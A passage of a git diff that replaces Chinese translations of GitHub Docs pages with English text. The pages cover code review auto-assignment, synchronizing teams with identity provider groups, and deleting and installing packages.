更多信息请参阅“[关于代码所有者](/github/creating-cloning-and-archiving-repositories/about-code-owners)”。 +When you choose to only notify requested team members, you disable sending notifications to the entire team when the team is requested to review a pull request if a specific member of that team is also requested for review. This is especially useful when a repository is configured with teams as code owners, but contributors to the repository often know a specific individual that would be the correct reviewer for their pull request. For more information, see "[About code owners](/github/creating-cloning-and-archiving-repositories/about-code-owners)." ## About auto assignment {% endif %} -When you enable auto assignment, any time your team has been requested to review a pull request, the team is removed as a reviewer and a specified subset of team members are assigned in the team's place. 代码审查分配允许您决定在请求团队审查时是通知整个团队，还是只通知一部分团队成员。 +When you enable auto assignment, any time your team has been requested to review a pull request, the team is removed as a reviewer and a specified subset of team members are assigned in the team's place. Code review assignments allow you to decide whether the whole team or just a subset of team members are notified when a team is requested for review. When code owners are automatically requested for review, the team is still removed and replaced with individuals unless a branch protection rule is configured to require review from code owners. If such a branch protection rule is in place, the team request cannot be removed and so the individual request will appear in addition. {% ifversion fpt %} -为了进一步提高团队的协作能力，您可以升级到 {% data variables.product.prodname_ghe_cloud %}，其中包括受保护的分支机构和私有仓库的代码所有者等功能。 {% data reusables.enterprise.link-to-ghec-trial %} +To further enhance your team's collaboration abilities, you can upgrade to {% data variables.product.prodname_ghe_cloud %}, which includes features like protected branches and code owners on private repositories. {% data reusables.enterprise.link-to-ghec-trial %} {% endif %} -### 路由算法 +### Routing algorithms -代码审查分配根据两种可能的算法之一自动选择和分配审查者。 +Code review assignments automatically choose and assign reviewers based on one of two possible algorithms. -循环算法根据最近收到最少审查请求的人员选择审查者，侧重于在团队所有成员之间的轮替，而不管他们目前拥有多少未完成的审查。 +The round robin algorithm chooses reviewers based on who's received the least recent review request, focusing on alternating between all members of the team regardless of the number of outstanding reviews they currently have. -负载平衡算法根据每个成员最近的审查请求总数选择审查者，并考虑每个成员未完成的审查数。 负载平衡算法努力确保每个团队成员在任意 30 天内审查相同数量的拉取请求。 +The load balance algorithm chooses reviewers based on each member's total number of recent review requests and considers the number of outstanding reviews for each member. The load balance algorithm tries to ensure that each team member reviews an equal number of pull requests in any 30 day period. -任何将状态设置为“忙碌”的团队成员将不会被选中进行审核。 如果所有团队成员都忙碌，拉取请求仍将分配给团队本身。 有关用户状态的更多信息，请参阅“[设置状态](/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile#setting-a-status)”。 +Any team members that have set their status to "Busy" will not be selected for review. If all team members are busy, the pull request will remain assigned to the team itself. For more information about user statuses, see "[Setting a status](/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile#setting-a-status)." {% if only-notify-requested-members %} ## Configuring team notifications @@ -57,9 +57,11 @@ When code owners are automatically requested for review, the team is still remov {% data reusables.user_settings.access_org %} {% data reusables.organizations.specific_team %} {% data reusables.organizations.team_settings %} -5. In the left sidebar, click **Code review** ![Code review button](/assets/images/help/teams/review-button.png) -2. Select **Only notify requested team members.** ![Code review team notifications](/assets/images/help/teams/review-assignment-notifications.png) -3. 单击 **Save changes（保存更改）**。 +5. In the left sidebar, click **Code review** +![Code review button](/assets/images/help/teams/review-button.png) +2. Select **Only notify requested team members.** +![Code review team notifications](/assets/images/help/teams/review-assignment-notifications.png) +3. Click **Save changes**. {% endif %} ## Configuring auto assignment @@ -67,24 +69,30 @@ When code owners are automatically requested for review, the team is still remov {% data reusables.user_settings.access_org %} {% data reusables.organizations.specific_team %} {% data reusables.organizations.team_settings %} -5. In the left sidebar, click **Code review** ![Code review button](/assets/images/help/teams/review-button.png) -6. 选择 **Enable auto assignment（启用自动分配）**。 ![Auto-assignment button](/assets/images/help/teams/review-assignment-enable.png) -7. 在“How many team members should be assigned to review?（应分配多少团队成员进行审查？）”下，使用下拉菜单选择多个要分配给每个拉取请求的审查者。 ![审查者人数下拉列表](/assets/images/help/teams/review-assignment-number.png) -8. 在“Routing algorithm（路由算法）”下，使用下拉菜单选择要使用的算法。 更多信息请参阅“[路由算法](#routing-algorithms)”。 ![路由算法下拉列表](/assets/images/help/teams/review-assignment-algorithm.png) -9. （可选）要始终跳过某些团队成员，请选择 **Never assign certain team members（永不分配某些团队成员）**。 然后，选择要始终跳过的一个或多个团队成员。 ![永不分配某些团队成员复选框和下拉列表](/assets/images/help/teams/review-assignment-skip-members.png) -{% ifversion fpt or ghec or ghae-next or ghes > 3.2 %} -11. （可选）在分配请求时，要将子团队成员作为潜在审查者，请选择 **Child team members（子团队成员）**。 -12. （可选）要根据可分配的成员总数计算已要求审查的成员，选择 **Count existing requests（计算现有请求）**。 -13. （可选）在分配团队成员时，要从团队中删除审核请求，请选择 **Team review request（团队审核请求）**。 +5. In the left sidebar, click **Code review** +![Code review button](/assets/images/help/teams/review-button.png) +6. Select **Enable auto assignment**. +![Auto-assignment button](/assets/images/help/teams/review-assignment-enable.png) +7. Under "How many team members should be assigned to review?", use the drop-down menu and choose a number of reviewers to be assigned to each pull request. +![Number of reviewers dropdown](/assets/images/help/teams/review-assignment-number.png) +8. Under "Routing algorithm", use the drop-down menu and choose which algorithm you'd like to use. For more information, see "[Routing algorithms](#routing-algorithms)." +![Routing algorithm dropdown](/assets/images/help/teams/review-assignment-algorithm.png) +9. Optionally, to always skip certain members of the team, select **Never assign certain team members**. Then, select one or more team members you'd like to always skip. +![Never assign certain team members checkbox and dropdown](/assets/images/help/teams/review-assignment-skip-members.png) +{% ifversion fpt or ghec or ghae-issue-5108 or ghes > 3.2 %} +11. Optionally, to include members of child teams as potential reviewers when assigning requests, select **Child team members**. +12. Optionally, to count any members whose review has already been requested against the total number of members to assign, select **Count existing requests**. +13. Optionally, to remove the review request from the team when assigning team members, select **Team review request**. {%- else %} -10. （可选）要对每个拉取请求审查只通知代码审查分配所选择的团队成员，在“Notifications（通知）”下选择 **If assigning team members, don't notify the entire team（如果分配团队成员，请不要通知整个团队）**。 +10. Optionally, to only notify the team members chosen by code review assignment for each pull review request, under "Notifications" select **If assigning team members, don't notify the entire team.** {%- endif %} -14. 单击 **Save changes（保存更改）**。 +14. Click **Save changes**. ## Disabling auto assignment {% data reusables.profile.access_org %} {% data reusables.user_settings.access_org %} {% data reusables.organizations.specific_team %} {% data reusables.organizations.team_settings %} -5. 选择 **Enable auto assignment（启用自动分配）**以删除复选标记。 ![代码审查分配按钮](/assets/images/help/teams/review-assignment-enable.png) -6. 单击 **Save changes（保存更改）**。 +5. Select **Enable auto assignment** to remove the checkmark. +![Code review assignment button](/assets/images/help/teams/review-assignment-enable.png) +6. Click **Save changes**. diff --git a/translations/zh-CN/content/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group.md b/translations/zh-CN/content/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group.md index 761bd8945a..1c53bcbdc8 100644 --- a/translations/zh-CN/content/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group.md +++ b/translations/zh-CN/content/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group.md @@ -1,9 +1,9 @@ --- -title: 将团队与身份提供程序组同步 -intro: '您可以将 {% data variables.product.product_name %} 团队与身份提供程序 (IdP) 组同步，以自动添加和删除团队成员。' +title: Synchronizing a team with an identity provider group +intro: 'You can synchronize a {% data variables.product.product_name %} team with an identity provider (IdP) group to automatically add and remove team members.' redirect_from: - /github/setting-up-and-managing-organizations-and-teams/synchronizing-a-team-with-an-identity-provider-group -product: '{% data reusables.gated-features.team-synchronization %}' +product: '{% data reusables.gated-features.team-synchronization %} ' permissions: 'Organization owners and team maintainers can synchronize a {% data variables.product.prodname_dotcom %} team with an IdP group.' versions: fpt: '*' @@ -12,92 +12,95 @@ versions: topics: - Organizations - Teams -shortTitle: 与 IdP 同步 +shortTitle: Synchronize with an IdP --- -{% data reusables.gated-features.okta-team-sync %} - {% data reusables.enterprise-accounts.emu-scim-note %} -## 关于团队同步 +## About team synchronization {% data reusables.identity-and-permissions.about-team-sync %} -{% ifversion fpt or ghec %}您可以将最多 5 个 IdP 组连接到 {% data variables.product.product_name %} 团队。{% elsif ghae %}您可以将 {% data variables.product.product_name %} 上的团队连接到一个 IdP 组。 组中的所有用户将自动添加到团队中，并作为成员添加到父组织。 当您断开组与团队的连接时，通过团队成员资格成为组织成员的用户将从组织中删除。{% endif %} 您可以将 IdP 组分配给多个 {% data variables.product.product_name %} 团队。 +{% ifversion fpt or ghec %}You can connect up to five IdP groups to a {% data variables.product.product_name %} team.{% elsif ghae %}You can connect a team on {% data variables.product.product_name %} to one IdP group. All users in the group are automatically added to the team and also added to the parent organization as members. When you disconnect a group from a team, users who became members of the organization via team membership are removed from the organization.{% endif %} You can assign an IdP group to multiple {% data variables.product.product_name %} teams. -{% ifversion fpt or ghec %}团队同步不支持超过 5000 个成员的 IdP 组。{% endif %} +{% ifversion fpt or ghec %}Team synchronization does not support IdP groups with more than 5000 members.{% endif %} -{% data variables.product.prodname_dotcom %} 团队连接到 IdP 组后，您的 IdP 管理员必须通过身份提供程序进行团队成员资格更改。 您不能在 {% data variables.product.product_name %} 上{% ifversion fpt or ghec %}或使用 API{% endif %} 管理团队成员资格。 +Once a {% data variables.product.prodname_dotcom %} team is connected to an IdP group, your IdP administrator must make team membership changes through the identity provider. You cannot manage team membership on {% data variables.product.product_name %}{% ifversion fpt or ghec %} or using the API{% endif %}. {% ifversion fpt or ghec %}{% data reusables.enterprise-accounts.team-sync-override %}{% endif %} {% ifversion fpt or ghec %} -通过 IdP 进行的所有团队成员资格更改都将在 {% data variables.product.product_name %} 审核日志中显示为团队同步自动程序所进行的更改。 您的 IdP 会将团队成员数据发送至 {% data variables.product.prodname_dotcom %}，每小时一次。 将团队连接到 IdP 组可能会删除一些团队成员。 更多信息请参阅“[已同步团队成员的要求](#requirements-for-members-of-synchronized-teams)”。 +All team membership changes made through your IdP will appear in the audit log on {% data variables.product.product_name %} as changes made by the team synchronization bot. Your IdP will send team membership data to {% data variables.product.prodname_dotcom %} once every hour. +Connecting a team to an IdP group may remove some team members. For more information, see "[Requirements for members of synchronized teams](#requirements-for-members-of-synchronized-teams)." {% endif %} {% ifversion ghae %} -当 Idp 上的组成员身份发生变化时，您的 IdP 会根据 IdP 确定的时间表发送 SCIM 请求，请求更改 {% data variables.product.product_name %}。 更改 {% data variables.product.prodname_dotcom %} 团队或组织成员资格的任何请求都将在审核日志中注册为用于配置用户预配的帐户所做的更改。 有关此帐户的更多信息，请参阅“[配置企业的用户预配](/admin/authentication/configuring-user-provisioning-for-your-enterprise)”。 有关 SCIM 请求计划的更多信息，请参阅 Microsoft 文档中的“[检查用户预配状态](https://docs.microsoft.com/en-us/azure/active-directory/app-provisioning/application-provisioning-when-will-provisioning-finish-specific-user)”。 +When group membership changes on your IdP, your IdP sends a SCIM request with the changes to {% data variables.product.product_name %} according to the schedule determined by your IdP. Any requests that change {% data variables.product.prodname_dotcom %} team or organization membership will register in the audit log as changes made by the account used to configure user provisioning. For more information about this account, see "[Configuring user provisioning for your enterprise](/admin/authentication/configuring-user-provisioning-for-your-enterprise)." For more information about SCIM request schedules, see "[Check the status of user provisioning](https://docs.microsoft.com/en-us/azure/active-directory/app-provisioning/application-provisioning-when-will-provisioning-finish-specific-user)" in the Microsoft Docs. {% endif %} -父团队无法与 IdP 组同步。 如果要连接到 IdP 组的团队是父团队，我们建议您创建一个新团队或删除使团队成为父团队的嵌套关系。 更多信息请参阅“[关于团队](/articles/about-teams#nested-teams)”、“[创建团队](/organizations/organizing-members-into-teams/creating-a-team)”和“[在组织的层次结构中移动团队](/articles/moving-a-team-in-your-organizations-hierarchy)”。 +Parent teams cannot synchronize with IdP groups. If the team you want to connect to an IdP group is a parent team, we recommend creating a new team or removing the nested relationships that make your team a parent team. For more information, see "[About teams](/articles/about-teams#nested-teams)," "[Creating a team](/organizations/organizing-members-into-teams/creating-a-team)," and "[Moving a team in your organization's hierarchy](/articles/moving-a-team-in-your-organizations-hierarchy)." -要管理 {% data variables.product.prodname_dotcom %} 团队（包括连接到 IdP 组的团队）的仓库访问权限，您必须使用 {% data variables.product.product_name %} 进行更改。 更多信息请参阅“[关于团队](/articles/about-teams)”和“[管理团队对组织仓库的访问](/articles/managing-team-access-to-an-organization-repository)”。 +To manage repository access for any {% data variables.product.prodname_dotcom %} team, including teams connected to an IdP group, you must make changes with {% data variables.product.product_name %}. For more information, see "[About teams](/articles/about-teams)" and "[Managing team access to an organization repository](/articles/managing-team-access-to-an-organization-repository)." -{% ifversion fpt or ghec %}您还可以使用 API 管理团队同步。 更多信息请参阅“[团队同步](/rest/reference/teams#team-sync)”。{% endif %} +{% ifversion fpt or ghec %}You can also manage team synchronization with the API. For more information, see "[Team synchronization](/rest/reference/teams#team-sync)."{% endif %} {% ifversion fpt or ghec %} -## 已同步团队成员的要求 +## Requirements for members of synchronized teams -将团队连接到 IdP 组后，团队同步将 IdP 组的每个成员添加到 {% data variables.product.product_name %} 上的相应团队，但需满足以下条件： -- 此人是 {% data variables.product.product_name %} 上的组织的成员。 -- 此人已使用 {% data variables.product.product_name %} 上的用户帐户登录，并且至少一次通过 SAML 单点登录向组织或企业帐户验证。 -- 此人的 SSO 身份是 IdP 组的成员。 +After you connect a team to an IdP group, team synchronization will add each member of the IdP group to the corresponding team on {% data variables.product.product_name %} only if: +- The person is a member of the organization on {% data variables.product.product_name %}. +- The person has already logged in with their user account on {% data variables.product.product_name %} and authenticated to the organization or enterprise account via SAML single sign-on at least once. +- The person's SSO identity is a member of the IdP group. -不符合这些条件的现有团队或组成员将被从 {% data variables.product.product_name %} 团队中自动删除，并失去对仓库的访问权限。 撤销用户关联的身份也会将用户从映射到 IdP 组的任何团队中删除。 更多信息请参阅“[查看和管理成员对组织的 SAML 访问](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization#viewing-and-revoking-a-linked-identity)”和“[查看和管理用户对企业的 SAML 访问](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise#viewing-and-revoking-a-linked-identity)”。 +Existing teams or group members who do not meet these criteria will be automatically removed from the team on {% data variables.product.product_name %} and lose access to repositories. Revoking a user's linked identity will also remove the user from from any teams mapped to IdP groups. For more information, see "[Viewing and managing a member's SAML access to your organization](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization#viewing-and-revoking-a-linked-identity)" and "[Viewing and managing a user's SAML access to your enterprise](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise#viewing-and-revoking-a-linked-identity)." -删除后的团队成员在使用 SSO 向组织或企业帐户进行身份验证后可以自动添加回团队，并移动到已连接的 IdP 组。 +A removed team member can be added back to a team automatically once they have authenticated to the organization or enterprise account using SSO and are moved to the connected IdP group. -为避免无意中删除团队成员，建议在组织或企业帐户中强制实施 SAML SSO，创建新团队以同步成员资格数据，并在同步现有团队之前检查 IdP 组成员资格。 更多信息请参阅“[对组织实施 SAML 单点登录](/articles/enforcing-saml-single-sign-on-for-your-organization)”和“[为企业配置 SAML 单点登录](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)”。 +To avoid unintentionally removing team members, we recommend enforcing SAML SSO in your organization or enterprise account, creating new teams to synchronize membership data, and checking IdP group membership before synchronizing existing teams. For more information, see "[Enforcing SAML single sign-on for your organization](/articles/enforcing-saml-single-sign-on-for-your-organization)" and "[Configuring SAML single sign-on for your enterprise](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)." {% endif %} -## 基本要求 +## Prerequisites {% ifversion fpt or ghec %} -在连接 {% data variables.product.product_name %} 团队与身份提供程序组之前，组织或企业所有者必须为组织或企业帐户启用团队同步。 更多信息请参阅“[管理组织的团队同步](/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization)”和“[管理企业帐户中组织的团队同步](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise)”。 +Before you can connect a {% data variables.product.product_name %} team with an identity provider group, an organization or enterprise owner must enable team synchronization for your organization or enterprise account. For more information, see "[Managing team synchronization for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization)" and "[Managing team synchronization for organizations in your enterprise account](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise)." -为避免无意中删除团队成员，请访问 IdP 的管理门户，并确认每个当前团队成员也位于要连接到此团队的 IdP 组中。 如果您没有身份提供程序的这一访问权限，在可以联系 IdP 管理员。 +To avoid unintentionally removing team members, visit the administrative portal for your IdP and confirm that each current team member is also in the IdP groups that you want to connect to this team. If you don't have this access to your identity provider, you can reach out to your IdP administrator. -您必须使用 SAML SSO 进行身份验证。 更多信息请参阅“[使用 SAML 单点登录进行身份验证](/articles/authenticating-with-saml-single-sign-on)”。 +You must authenticate using SAML SSO. For more information, see "[Authenticating with SAML single sign-on](/articles/authenticating-with-saml-single-sign-on)." {% elsif ghae %} -在连接 {% data variables.product.product_name %} 团队与 IdP 组时，您必须先使用支持的跨域身份管理系统(SCIM) 配置 {% data variables.product.product_location %} 的用户预配。 更多信息请参阅“[配置企业的用户预配](/admin/authentication/configuring-user-provisioning-for-your-enterprise)”。 +Before you can connect a {% data variables.product.product_name %} team with an IdP group, you must first configure user provisioning for {% data variables.product.product_location %} using a supported System for Cross-domain Identity Management (SCIM). For more information, see "[Configuring user provisioning for your enterprise](/admin/authentication/configuring-user-provisioning-for-your-enterprise)." -在使用 SCIM 配置 {% data variables.product.product_name %} 的用户预配后，您可以将 {% data variables.product.product_name %} 应用程序分配到您想要在 {% data variables.product.product_name %} 上使用的每个 IdP 组。 更多信息请参阅 Microsoft 文档中的[配置 GitHub AE 的自动用户预配](https://docs.microsoft.com/en-us/azure/active-directory/saas-apps/github-ae-provisioning-tutorial#step-5-configure-automatic-user-provisioning-to-github-ae)。 +Once user provisioning for {% data variables.product.product_name %} is configured using SCIM, you can assign the {% data variables.product.product_name %} application to every IdP group that you want to use on {% data variables.product.product_name %}. For more information, see [Configure automatic user provisioning to GitHub AE](https://docs.microsoft.com/en-us/azure/active-directory/saas-apps/github-ae-provisioning-tutorial#step-5-configure-automatic-user-provisioning-to-github-ae) in the Microsoft Docs. {% endif %} -## 将 IdP 组连接到团队 +## Connecting an IdP group to a team -将 IdP 组连接到 {% data variables.product.product_name %} 团队时，组中的所有用户都会自动添加到团队中。 {% ifversion ghae %}任何尚未成为父组织成员的用户也会添加到组织。{% endif %} +When you connect an IdP group to a {% data variables.product.product_name %} team, all users in the group are automatically added to the team. {% ifversion ghae %}Any users who were not already members of the parent organization members are also added to the organization.{% endif %} {% data reusables.profile.access_org %} {% data reusables.user_settings.access_org %} {% data reusables.organizations.specific_team %} {% data reusables.organizations.team_settings %} {% ifversion fpt or ghec %} -6. 在“Identity Provider Groups（身份提供程序组）”下，使用下拉菜单，选择最多 5 个身份提供程序组。 ![Drop-down menu to choose identity provider groups](/assets/images/help/teams/choose-an-idp-group.png){% elsif ghae %} -6. 在“Identity Provider Groups（身份提供程序组）”下，使用下拉菜单从列表中选择身份提供程序组。 ![Drop-down menu to choose identity provider group](/assets/images/enterprise/github-ae/teams/choose-an-idp-group.png){% endif %} -7. 单击 **Save changes（保存更改）**。 +6. Under "Identity Provider Groups", use the drop-down menu, and select up to 5 identity provider groups. + ![Drop-down menu to choose identity provider groups](/assets/images/help/teams/choose-an-idp-group.png){% elsif ghae %} +6. Under "Identity Provider Group", use the drop-down menu, and select an identity provider group from the list. + ![Drop-down menu to choose identity provider group](/assets/images/enterprise/github-ae/teams/choose-an-idp-group.png){% endif %} +7. Click **Save changes**. -## 断开 IdP 组与团队的连接 +## Disconnecting an IdP group from a team -如果您断开 IdP 组与 {% data variables.product.prodname_dotcom %} 团队的连接，则通过 IdP 组分配给 {% data variables.product.prodname_dotcom %} 团队的团队成员将从团队中删除。 {% ifversion ghae %} 任何只是因为团队连接而成为父组织成员的用户也会从组织中删除。{% endif %} +If you disconnect an IdP group from a {% data variables.product.prodname_dotcom %} team, team members that were assigned to the {% data variables.product.prodname_dotcom %} team through the IdP group will be removed from the team. {% ifversion ghae %} Any users who were members of the parent organization only because of that team connection are also removed from the organization.{% endif %} {% data reusables.profile.access_org %} {% data reusables.user_settings.access_org %} {% data reusables.organizations.specific_team %} {% data reusables.organizations.team_settings %} {% ifversion fpt or ghec %} -6. 在“Identity Provider Groups（身份提供程序组）”下，单击要断开连接的 IdP 组右侧的 {% octicon "x" aria-label="X symbol" %}。 ![Unselect a connected IdP group from the GitHub team](/assets/images/help/teams/unselect-idp-group.png){% elsif ghae %} -6. 在“Identity Provider Group（身份提供程序组）”下，单击要断开连接的 IdP 组右侧的 {% octicon "x" aria-label="X symbol" %}。 ![Unselect a connected IdP group from the GitHub team](/assets/images/enterprise/github-ae/teams/unselect-idp-group.png){% endif %} -7. 单击 **Save changes（保存更改）**。 +6. Under "Identity Provider Groups", to the right of the IdP group you want to disconnect, click {% octicon "x" aria-label="X symbol" %}. + ![Unselect a connected IdP group from the GitHub team](/assets/images/help/teams/unselect-idp-group.png){% elsif ghae %} +6. Under "Identity Provider Group", to the right of the IdP group you want to disconnect, click {% octicon "x" aria-label="X symbol" %}. + ![Unselect a connected IdP group from the GitHub team](/assets/images/enterprise/github-ae/teams/unselect-idp-group.png){% endif %} +7. Click **Save changes**. diff --git a/translations/zh-CN/content/packages/learn-github-packages/deleting-a-package.md b/translations/zh-CN/content/packages/learn-github-packages/deleting-a-package.md index ebc137ea5a..56a00d1b5b 100644 --- a/translations/zh-CN/content/packages/learn-github-packages/deleting-a-package.md +++ b/translations/zh-CN/content/packages/learn-github-packages/deleting-a-package.md @@ -1,6 +1,6 @@ --- -title: 删除包 -intro: '您可以使用 GraphQL 或在 {% data variables.product.product_name %} 上删除{% ifversion not ghae %}私有{% endif %}包的版本。' +title: Deleting a package +intro: 'You can delete a version of a {% ifversion not ghae %}private{% endif %} package using GraphQL or on {% data variables.product.product_name %}.' product: '{% data reusables.gated-features.packages %}' versions: ghes: '>=2.22 <3.1' @@ -10,26 +10,30 @@ versions: {% data reusables.package_registry.packages-ghes-release-stage %} {% data reusables.package_registry.packages-ghae-release-stage %} -{% ifversion not ghae %}目前，{% data variables.product.product_location %} 上的 {% data variables.product.prodname_registry %} 不支持删除公共包。{% endif %} +{% ifversion not ghae %}At this time, {% data variables.product.prodname_registry %} on {% data variables.product.product_location %} does not support deleting public packages.{% endif %} -您只能在 {% data variables.product.product_name %} 上或使用 GraphQL API 删除{% ifversion not ghae %}私有{% endif %}包的指定版本。 要删除 {% data variables.product.product_name %} 上出现的整个{% ifversion not ghae %}私有{% endif %}包，必须先删除该包的每个版本。 +You can only delete a specified version of a {% ifversion not ghae %}private {% endif %}package on {% data variables.product.product_name %} or with the GraphQL API. To remove an entire {% ifversion not ghae %}private {% endif %}package from appearing on {% data variables.product.product_name %}, you must delete every version of the package first. -## 在 {% data variables.product.product_name %} 上删除{% ifversion not ghae %}私有{% endif %}包的版本 +## Deleting a version of a {% ifversion not ghae %}private {% endif %}package on {% data variables.product.product_name %} -要删除{% ifversion not ghae %}私有{% endif %}包版本，您必须对仓库具有管理员权限。 +To delete a {% ifversion not ghae %}private {% endif %}package version, you must have admin permissions in the repository. {% data reusables.repositories.navigate-to-repo %} {% data reusables.package_registry.packages-from-code-tab %} -3. 单击要删除的包的名称。 ![包名称](/assets/images/help/package-registry/select-pkg-cloud.png) -4. 在右侧使用 **Edit package（编辑包）**下拉菜单，然后选择“Manage versions（管理版本）”。 ![包名称](/assets/images/help/package-registry/manage-versions.png) -5. 在要删除的版本的右侧，单击 **Delete（删除）**。 ![删除包按钮](/assets/images/help/package-registry/delete-package-button.png) -6. 要确认删除，请输入包名称，然后单击 **I understand the consequences, delete this version（我明白后果，删除此版本）**。 ![确认包删除按钮](/assets/images/help/package-registry/confirm-package-deletion.png) +3. Click the name of the package that you want to delete. + ![Package name](/assets/images/help/package-registry/select-pkg-cloud.png) +4. On the right, use the **Edit package** drop-down and select "Manage versions". + ![Package name](/assets/images/help/package-registry/manage-versions.png) +5. To the right of the version you want to delete, click **Delete**. + ![Delete package button](/assets/images/help/package-registry/delete-package-button.png) +6. To confirm deletion, type the package name and click **I understand the consequences, delete this version**. + ![Confirm package deletion button](/assets/images/help/package-registry/confirm-package-deletion.png) -## 使用 GraphQL 删除{% ifversion not ghae %}私有{% endif %}包的版本 +## Deleting a version of a {% ifversion not ghae %}private {% endif %}package with GraphQL -在 GraphQL API 中使用 `deletePackageVersion` 突变。 必须使用具有 `read:packages`、`delete:packages` 和 `repo` 作用域的令牌。 有关令牌的更多信息，请参阅“[关于 {% data variables.product.prodname_registry %}](/packages/publishing-and-managing-packages/about-github-packages#authenticating-to-github-packages)”。 +Use the `deletePackageVersion` mutation in the GraphQL API. You must use a token with the `read:packages`, `delete:packages`, and `repo` scopes. For more information about tokens, see "[About {% data variables.product.prodname_registry %}](/packages/publishing-and-managing-packages/about-github-packages#authenticating-to-github-packages)." -以下是使用个人访问令牌，通过 cURL 命令删除包版本的示例，包版本 ID 为 `MDIyOlJlZ2lzdHJ5UGFja2FnZVZlcnNpb243MTExNg`。 +Here is an example cURL command to delete a package version with the package version ID of `MDIyOlJlZ2lzdHJ5UGFja2FnZVZlcnNpb243MTExNg`, using a personal access token. ```shell curl -X POST \ @@ -39,8 +43,8 @@ curl -X POST \ HOSTNAME/graphql ``` -要查找已发布到 {% data variables.product.prodname_registry %} 的所有{% ifversion not ghae %}私有{% endif %}包以及包的版本 ID，您可以通过 `repository` 对象使用 `packages` 连接。 您需要具有 `read:packages` 和 `repo` 作用域的令牌。 更多信息请参阅“[`registryPackagesForQuery`](/v4/object/registrypackageconnection/)”。 +To find all of the {% ifversion not ghae %}private {% endif %}packages you have published to {% data variables.product.prodname_registry %}, along with the version IDs for the packages, you can use the `packages` connection through the `repository` object. You will need a token with the `read:packages` and `repo` scopes. For more information, see the [`packages`](/graphql/reference/objects#repository) connection or the [`PackageOwner`](/graphql/reference/interfaces#packageowner) interface. -有关 `deletePackageVersion` 突变的更多信息，请参阅“[`deletePackageVersion`](/graphql/reference/mutations#deletepackageversion)”。 +For more information about the `deletePackageVersion` mutation, see "[`deletePackageVersion`](/graphql/reference/mutations#deletepackageversion)." -您不能删除整个包，但如果您删除包的每个版本，该包将不再显示在 {% data variables.product.product_name %} 上。 +You cannot delete an entire package, but if you delete every version of a package, the package will no longer show on {% data variables.product.product_name %}. diff --git a/translations/zh-CN/content/packages/learn-github-packages/installing-a-package.md b/translations/zh-CN/content/packages/learn-github-packages/installing-a-package.md index c7d301d7c0..a3523e6ab3 100644 --- a/translations/zh-CN/content/packages/learn-github-packages/installing-a-package.md +++ b/translations/zh-CN/content/packages/learn-github-packages/installing-a-package.md @@ -1,6 +1,6 @@ --- -title: 安装包 -intro: '您可以从 {% data variables.product.prodname_registry %} 安装包，并将包用作自己项目中的依赖项。' +title: Installing a package +intro: 'You can install a package from {% data variables.product.prodname_registry %} and use the package as a dependency in your own project.' product: '{% data reusables.gated-features.packages %}' redirect_from: - /github/managing-packages-with-github-packages/installing-a-package @@ -17,17 +17,17 @@ versions: {% data reusables.package_registry.packages-ghes-release-stage %} {% data reusables.package_registry.packages-ghae-release-stage %} -## 关于包的安装 +## About package installation -您可以在 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} 上搜索，以查找 {% data variables.product.prodname_registry %} 中可以在自己项目中安装的包。 更多信息请参阅“[搜索 {% data variables.product.prodname_registry %} 中的包](/search-github/searching-on-github/searching-for-packages)”。 +You can search on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} to find packages in {% data variables.product.prodname_registry %} that you can install in your own project. For more information, see "[Searching {% data variables.product.prodname_registry %} for packages](/search-github/searching-on-github/searching-for-packages)." -找到包后，您可以在包页面上阅读包的说明以及安装和使用说明。 +After you find a package, you can read the package's description and installation and usage instructions on the package page. -## 安装包 +## Installing a package -您可以按照一般准则，使用任何{% ifversion fpt or ghae or ghec %}支持的包客户端{% else %}为您的实例启用的包类型{% endif %}从 {% data variables.product.prodname_registry %} 安装包。 +You can install a package from {% data variables.product.prodname_registry %} using any {% ifversion fpt or ghae or ghec %}supported package client{% else %}package type enabled for your instance{% endif %} by following the same general guidelines. -1. 按照包客户端的说明，向 {% data variables.product.prodname_registry %} 验证。 更多信息请参阅“[向 GitHub Packages 验证](/packages/learn-github-packages/introduction-to-github-packages#authenticating-to-github-packages)”。 -2. 按照包客户端的说明安装包。 +1. Authenticate to {% data variables.product.prodname_registry %} using the instructions for your package client. For more information, see "[Authenticating to GitHub Packages](/packages/learn-github-packages/introduction-to-github-packages#authenticating-to-github-packages)." +2. Install the package using the instructions for your package client. -有关包客户端的具体说明，请参阅“[使用 {% data variables.product.prodname_registry %} 注册表](/packages/working-with-a-github-packages-registry)”。 +For instructions specific to your package client, see "[Working with a {% data variables.product.prodname_registry %} registry](/packages/working-with-a-github-packages-registry)." diff --git a/translations/zh-CN/content/packages/learn-github-packages/introduction-to-github-packages.md b/translations/zh-CN/content/packages/learn-github-packages/introduction-to-github-packages.md index 5516059bf3..63268fe2a2 100644 --- a/translations/zh-CN/content/packages/learn-github-packages/introduction-to-github-packages.md +++ b/translations/zh-CN/content/packages/learn-github-packages/introduction-to-github-packages.md @@ -1,6 +1,6 @@ --- -title: GitHub Packages 简介 -intro: '{% data variables.product.prodname_registry %} 